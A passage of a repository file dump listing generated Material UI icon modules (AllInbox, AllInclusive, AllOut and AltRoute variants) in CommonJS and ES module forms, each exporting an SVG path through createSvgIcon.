    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 6h-3.14c-.47 0-.84.33-.97.78C14.53 11.04 13.35 12 12 12s-2.53-.96-2.89-2.22c-.13-.45-.5-.78-.97-.78H5V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1zm-3.13 7H20c.55 0 1 .45 1 1v2c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2v-2c0-.55.45-1 1-1h4.13c.47 0 .85.34.98.8.35 1.27 1.51 2.2 2.89 2.2s2.54-.93 2.89-2.2c.13-.46.51-.8.98-.8\"\n}), 'AllInboxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInboxSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v11h18zm-2 6h-4c0 1.62-1.38 3-3 3s-3-1.38-3-3H5V5h14zm-4 7h6v5H3v-5h6c0 1.66 1.34 3 3 3s3-1.34 3-3\"\n}), 'AllInboxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInboxSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v11h18zm-2 6h-4c0 1.62-1.38 3-3 3s-3-1.38-3-3H5V5h14zm-4 7h6v5H3v-5h6c0 1.66 1.34 3 3 3s3-1.34 3-3\"\n}), 'AllInboxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInboxTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 10h3.13c.21.78.67 1.47 1.27 2H5zm14 2h-4.4c.6-.53 1.06-1.22 1.27-2H19zm0-4h-5v1c0 1.07-.93 2-2 2s-2-.93-2-2V8H5V5h14zm-5 7v1c0 .47-.19.9-.48 1.25-.37.45-.92.75-1.52.75s-1.15-.3-1.52-.75c-.29-.35-.48-.78-.48-1.25v-1H3v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4zm-9 2h3.13c.02.09.06.17.09.25.24.68.65 1.28 1.18 1.75H5zm14 2h-4.4c.54-.47.95-1.07 1.18-1.75.03-.08.07-.16.09-.25H19z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.13 10H5v2h4.4c-.6-.53-1.06-1.22-1.27-2m6.47 2H19v-2h-3.13c-.21.78-.67 1.47-1.27 2m-6.38 5.25c-.03-.08-.06-.16-.09-.25H5v2h4.4c-.53-.47-.94-1.07-1.18-1.75m7.65-.25c-.02.09-.06.17-.09.25-.23.68-.64 1.28-1.18 1.75H19v-2z\",\n  opacity: \".3\"\n}, \"1\")], 'AllInboxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInboxTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 10h3.13c.21.78.67 1.47 1.27 2H5zm14 2h-4.4c.6-.53 1.06-1.22 1.27-2H19zm0-4h-5v1c0 1.07-.93 2-2 2s-2-.93-2-2V8H5V5h14zm-5 7v1c0 .47-.19.9-.48 1.25-.37.45-.92.75-1.52.75s-1.15-.3-1.52-.75c-.29-.35-.48-.78-.48-1.25v-1H3v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4zm-9 2h3.13c.02.09.06.17.09.25.24.68.65 1.28 1.18 1.75H5zm14 2h-4.4c.54-.47.95-1.07 1.18-1.75.03-.08.07-.16.09-.25H19z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.13 10H5v2h4.4c-.6-.53-1.06-1.22-1.27-2m6.47 2H19v-2h-3.13c-.21.78-.67 1.47-1.27 2m-6.38 5.25c-.03-.08-.06-.16-.09-.25H5v2h4.4c-.53-.47-.94-1.07-1.18-1.75m7.65-.25c-.02.09-.06.17-.09.25-.23.68-.64 1.28-1.18 1.75H19v-2z\",\n  opacity: \".3\"\n}, \"1\")], 'AllInboxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInclusive.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.6 6.62c-1.44 0-2.8.56-3.77 1.53L12 10.66 10.48 12h.01L7.8 14.39c-.64.64-1.49.99-2.4.99-1.87 0-3.39-1.51-3.39-3.38S3.53 8.62 5.4 8.62c.91 0 1.76.35 2.44 1.03l1.13 1 1.51-1.34L9.22 8.2C8.2 7.18 6.84 6.62 5.4 6.62 2.42 6.62 0 9.04 0 12s2.42 5.38 5.4 5.38c1.44 0 2.8-.56 3.77-1.53l2.83-2.5.01.01L13.52 12h-.01l2.69-2.39c.64-.64 1.49-.99 2.4-.99 1.87 0 3.39 1.51 3.39 3.38s-1.52 3.38-3.39 3.38c-.9 0-1.76-.35-2.44-1.03l-1.14-1.01-1.51 1.34 1.27 1.12c1.02 1.01 2.37 1.57 3.82 1.57 2.98 0 5.4-2.41 5.4-5.38s-2.42-5.37-5.4-5.37\"\n}), 'AllInclusive');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInclusive.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.6 6.62c-1.44 0-2.8.56-3.77 1.53L12 10.66 10.48 12h.01L7.8 14.39c-.64.64-1.49.99-2.4.99-1.87 0-3.39-1.51-3.39-3.38S3.53 8.62 5.4 8.62c.91 0 1.76.35 2.44 1.03l1.13 1 1.51-1.34L9.22 8.2C8.2 7.18 6.84 6.62 5.4 6.62 2.42 6.62 0 9.04 0 12s2.42 5.38 5.4 5.38c1.44 0 2.8-.56 3.77-1.53l2.83-2.5.01.01L13.52 12h-.01l2.69-2.39c.64-.64 1.49-.99 2.4-.99 1.87 0 3.39 1.51 3.39 3.38s-1.52 3.38-3.39 3.38c-.9 0-1.76-.35-2.44-1.03l-1.14-1.01-1.51 1.34 1.27 1.12c1.02 1.01 2.37 1.57 3.82 1.57 2.98 0 5.4-2.41 5.4-5.38s-2.42-5.37-5.4-5.37\"\n}), 'AllInclusive');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInclusiveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.6 6.62c-1.44 0-2.8.56-3.77 1.53L7.8 14.39c-.64.64-1.49.99-2.4.99-1.87 0-3.39-1.51-3.39-3.38S3.53 8.62 5.4 8.62c.91 0 1.76.35 2.44 1.03l1.13 1 1.51-1.34L9.22 8.2C8.2 7.18 6.84 6.62 5.4 6.62 2.42 6.62 0 9.04 0 12s2.42 5.38 5.4 5.38c1.44 0 2.8-.56 3.77-1.53l7.03-6.24c.64-.64 1.49-.99 2.4-.99 1.87 0 3.39 1.51 3.39 3.38s-1.52 3.38-3.39 3.38c-.9 0-1.76-.35-2.44-1.03l-1.14-1.01-1.51 1.34 1.27 1.12c1.02 1.01 2.37 1.57 3.82 1.57 2.98 0 5.4-2.41 5.4-5.38s-2.42-5.37-5.4-5.37\"\n}), 'AllInclusiveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInclusiveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.6 6.62c-1.44 0-2.8.56-3.77 1.53L7.8 14.39c-.64.64-1.49.99-2.4.99-1.87 0-3.39-1.51-3.39-3.38S3.53 8.62 5.4 8.62c.91 0 1.76.35 2.44 1.03l1.13 1 1.51-1.34L9.22 8.2C8.2 7.18 6.84 6.62 5.4 6.62 2.42 6.62 0 9.04 0 12s2.42 5.38 5.4 5.38c1.44 0 2.8-.56 3.77-1.53l7.03-6.24c.64-.64 1.49-.99 2.4-.99 1.87 0 3.39 1.51 3.39 3.38s-1.52 3.38-3.39 3.38c-.9 0-1.76-.35-2.44-1.03l-1.14-1.01-1.51 1.34 1.27 1.12c1.02 1.01 2.37 1.57 3.82 1.57 2.98 0 5.4-2.41 5.4-5.38s-2.42-5.37-5.4-5.37\"\n}), 'AllInclusiveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInclusiveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.22 6.86c-2-.6-4.06-.04-5.39 1.29L12 10.66 10.48 12h.01L7.8 14.39c-.81.81-1.95 1.15-3.12.92-1.25-.25-2.28-1.25-2.57-2.49-.52-2.23 1.16-4.2 3.29-4.2.91 0 1.76.35 2.44 1.03l.47.41c.38.34.95.34 1.33 0 .45-.4.45-1.1 0-1.5l-.42-.36C8.2 7.18 6.84 6.62 5.4 6.62 2.42 6.62 0 9.04 0 12s2.42 5.38 5.4 5.38c1.44 0 2.8-.56 3.77-1.53l2.83-2.5.01.01L13.52 12h-.01l2.69-2.39c.81-.81 1.95-1.15 3.12-.92 1.25.25 2.28 1.25 2.57 2.49.52 2.23-1.16 4.2-3.29 4.2-.9 0-1.76-.35-2.44-1.03l-.48-.42c-.38-.34-.95-.34-1.33 0-.45.4-.45 1.1 0 1.5l.42.37c1.02 1.01 2.37 1.57 3.82 1.57 3.27 0 5.86-2.9 5.33-6.25-.3-1.99-1.77-3.69-3.7-4.26\"\n}), 'AllInclusiveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInclusiveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.22 6.86c-2-.6-4.06-.04-5.39 1.29L12 10.66 10.48 12h.01L7.8 14.39c-.81.81-1.95 1.15-3.12.92-1.25-.25-2.28-1.25-2.57-2.49-.52-2.23 1.16-4.2 3.29-4.2.91 0 1.76.35 2.44 1.03l.47.41c.38.34.95.34 1.33 0 .45-.4.45-1.1 0-1.5l-.42-.36C8.2 7.18 6.84 6.62 5.4 6.62 2.42 6.62 0 9.04 0 12s2.42 5.38 5.4 5.38c1.44 0 2.8-.56 3.77-1.53l2.83-2.5.01.01L13.52 12h-.01l2.69-2.39c.81-.81 1.95-1.15 3.12-.92 1.25.25 2.28 1.25 2.57 2.49.52 2.23-1.16 4.2-3.29 4.2-.9 0-1.76-.35-2.44-1.03l-.48-.42c-.38-.34-.95-.34-1.33 0-.45.4-.45 1.1 0 1.5l.42.37c1.02 1.01 2.37 1.57 3.82 1.57 3.27 0 5.86-2.9 5.33-6.25-.3-1.99-1.77-3.69-3.7-4.26\"\n}), 'AllInclusiveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInclusiveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.6 6.62c-1.44 0-2.8.56-3.77 1.53L7.8 14.39c-.64.64-1.49.99-2.4.99-1.87 0-3.39-1.51-3.39-3.38S3.53 8.62 5.4 8.62c.91 0 1.76.35 2.44 1.03l1.13 1 1.51-1.34L9.22 8.2C8.2 7.18 6.84 6.62 5.4 6.62 2.42 6.62 0 9.04 0 12s2.42 5.38 5.4 5.38c1.44 0 2.8-.56 3.77-1.53L13.51 12l2.69-2.39c.64-.64 1.49-.99 2.4-.99 1.87 0 3.39 1.51 3.39 3.38s-1.52 3.38-3.39 3.38c-.9 0-1.76-.35-2.44-1.03l-1.14-1.01-1.51 1.34 1.27 1.12c1.02 1.01 2.37 1.57 3.82 1.57 2.98 0 5.4-2.41 5.4-5.38s-2.42-5.37-5.4-5.37\"\n}), 'AllInclusiveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInclusiveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.6 6.62c-1.44 0-2.8.56-3.77 1.53L7.8 14.39c-.64.64-1.49.99-2.4.99-1.87 0-3.39-1.51-3.39-3.38S3.53 8.62 5.4 8.62c.91 0 1.76.35 2.44 1.03l1.13 1 1.51-1.34L9.22 8.2C8.2 7.18 6.84 6.62 5.4 6.62 2.42 6.62 0 9.04 0 12s2.42 5.38 5.4 5.38c1.44 0 2.8-.56 3.77-1.53L13.51 12l2.69-2.39c.64-.64 1.49-.99 2.4-.99 1.87 0 3.39 1.51 3.39 3.38s-1.52 3.38-3.39 3.38c-.9 0-1.76-.35-2.44-1.03l-1.14-1.01-1.51 1.34 1.27 1.12c1.02 1.01 2.37 1.57 3.82 1.57 2.98 0 5.4-2.41 5.4-5.38s-2.42-5.37-5.4-5.37\"\n}), 'AllInclusiveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInclusiveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.6 6.62c-1.44 0-2.8.56-3.77 1.53L7.8 14.39c-.64.64-1.49.99-2.4.99-1.87 0-3.39-1.51-3.39-3.38S3.53 8.62 5.4 8.62c.91 0 1.76.35 2.44 1.03l1.13 1 1.51-1.34L9.22 8.2C8.2 7.18 6.84 6.62 5.4 6.62 2.42 6.62 0 9.04 0 12s2.42 5.38 5.4 5.38c1.44 0 2.8-.56 3.77-1.53l7.03-6.24c.64-.64 1.49-.99 2.4-.99 1.87 0 3.39 1.51 3.39 3.38s-1.52 3.38-3.39 3.38c-.9 0-1.76-.35-2.44-1.03l-1.14-1.01-1.51 1.34 1.27 1.12c1.02 1.01 2.37 1.57 3.82 1.57 2.98 0 5.4-2.41 5.4-5.38s-2.42-5.37-5.4-5.37\"\n}), 'AllInclusiveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInclusiveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.6 6.62c-1.44 0-2.8.56-3.77 1.53L7.8 14.39c-.64.64-1.49.99-2.4.99-1.87 0-3.39-1.51-3.39-3.38S3.53 8.62 5.4 8.62c.91 0 1.76.35 2.44 1.03l1.13 1 1.51-1.34L9.22 8.2C8.2 7.18 6.84 6.62 5.4 6.62 2.42 6.62 0 9.04 0 12s2.42 5.38 5.4 5.38c1.44 0 2.8-.56 3.77-1.53l7.03-6.24c.64-.64 1.49-.99 2.4-.99 1.87 0 3.39 1.51 3.39 3.38s-1.52 3.38-3.39 3.38c-.9 0-1.76-.35-2.44-1.03l-1.14-1.01-1.51 1.34 1.27 1.12c1.02 1.01 2.37 1.57 3.82 1.57 2.98 0 5.4-2.41 5.4-5.38s-2.42-5.37-5.4-5.37\"\n}), 'AllInclusiveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllOut.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.21 4.16 4 4v-4zm4 12-4 4h4zm-12 4-4-4v4zm-4-12 4-4h-4zm12.95-.95c-2.73-2.73-7.17-2.73-9.9 0s-2.73 7.17 0 9.9 7.17 2.73 9.9 0 2.73-7.16 0-9.9m-1.1 8.8c-2.13 2.13-5.57 2.13-7.7 0s-2.13-5.57 0-7.7 5.57-2.13 7.7 0 2.13 5.57 0 7.7\"\n}), 'AllOut');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllOut.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.21 4.16 4 4v-4zm4 12-4 4h4zm-12 4-4-4v4zm-4-12 4-4h-4zm12.95-.95c-2.73-2.73-7.17-2.73-9.9 0s-2.73 7.17 0 9.9 7.17 2.73 9.9 0 2.73-7.16 0-9.9m-1.1 8.8c-2.13 2.13-5.57 2.13-7.7 0s-2.13-5.57 0-7.7 5.57-2.13 7.7 0 2.13 5.57 0 7.7\"\n}), 'AllOut');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllOutOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4v4l4-4zm12 0 4 4V4zm4 16v-4l-4 4zM4 20h4l-4-4zm15-8c0-3.87-3.13-7-7-7s-7 3.13-7 7 3.13 7 7 7 7-3.13 7-7m-7 5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}), 'AllOutOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllOutOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4v4l4-4zm12 0 4 4V4zm4 16v-4l-4 4zM4 20h4l-4-4zm15-8c0-3.87-3.13-7-7-7s-7 3.13-7 7 3.13 7 7 7 7-3.13 7-7m-7 5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}), 'AllOutOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllOutRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4.5V8l4-4H4.5c-.28 0-.5.22-.5.5M16 4l4 4V4.5c0-.28-.22-.5-.5-.5zm4 15.5V16l-4 4h3.5c.28 0 .5-.22.5-.5M4.5 20H8l-4-4v3.5c0 .28.22.5.5.5M19 12c0-3.87-3.13-7-7-7s-7 3.13-7 7 3.13 7 7 7 7-3.13 7-7m-7 5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}), 'AllOutRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllOutRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4.5V8l4-4H4.5c-.28 0-.5.22-.5.5M16 4l4 4V4.5c0-.28-.22-.5-.5-.5zm4 15.5V16l-4 4h3.5c.28 0 .5-.22.5-.5M4.5 20H8l-4-4v3.5c0 .28.22.5.5.5M19 12c0-3.87-3.13-7-7-7s-7 3.13-7 7 3.13 7 7 7 7-3.13 7-7m-7 5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}), 'AllOutRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllOutSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4v4l4-4zm12 0 4 4V4zm4 16v-4l-4 4zM4 20h4l-4-4zm15-8c0-3.87-3.13-7-7-7s-7 3.13-7 7 3.13 7 7 7 7-3.13 7-7m-7 5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}), 'AllOutSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllOutSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4v4l4-4zm12 0 4 4V4zm4 16v-4l-4 4zM4 20h4l-4-4zm15-8c0-3.87-3.13-7-7-7s-7 3.13-7 7 3.13 7 7 7 7-3.13 7-7m-7 5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}), 'AllOutSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllOutTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4v4l4-4zm12 0 4 4V4zm4 16v-4l-4 4zM4 20h4l-4-4zm15-8c0-3.87-3.13-7-7-7s-7 3.13-7 7 3.13 7 7 7 7-3.13 7-7m-7 5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'AllOutTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllOutTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4v4l4-4zm12 0 4 4V4zm4 16v-4l-4 4zM4 20h4l-4-4zm15-8c0-3.87-3.13-7-7-7s-7 3.13-7 7 3.13 7 7 7 7-3.13 7-7m-7 5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'AllOutTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AltRoute.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.78 11.16-1.42 1.42c-.68-.69-1.34-1.58-1.79-2.94l1.94-.49c.32.89.77 1.5 1.27 2.01M11 6 7 2 3 6h3.02c.02.81.08 1.54.19 2.17l1.94-.49C8.08 7.2 8.03 6.63 8.02 6zm10 0-4-4-4 4h2.99c-.1 3.68-1.28 4.75-2.54 5.88-.5.44-1.01.92-1.45 1.55-.34-.49-.73-.88-1.13-1.24L9.46 13.6c.93.85 1.54 1.54 1.54 3.4v5h2v-5c0-2.02.71-2.66 1.79-3.63 1.38-1.24 3.08-2.78 3.2-7.37z\"\n}), 'AltRoute');"
  },
  {
    "path": "packages/mui-icons-material/lib/AltRoute.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.78 11.16-1.42 1.42c-.68-.69-1.34-1.58-1.79-2.94l1.94-.49c.32.89.77 1.5 1.27 2.01M11 6 7 2 3 6h3.02c.02.81.08 1.54.19 2.17l1.94-.49C8.08 7.2 8.03 6.63 8.02 6zm10 0-4-4-4 4h2.99c-.1 3.68-1.28 4.75-2.54 5.88-.5.44-1.01.92-1.45 1.55-.34-.49-.73-.88-1.13-1.24L9.46 13.6c.93.85 1.54 1.54 1.54 3.4v5h2v-5c0-2.02.71-2.66 1.79-3.63 1.38-1.24 3.08-2.78 3.2-7.37z\"\n}), 'AltRoute');"
  },
  {
    "path": "packages/mui-icons-material/lib/AltRouteOutlined.js",
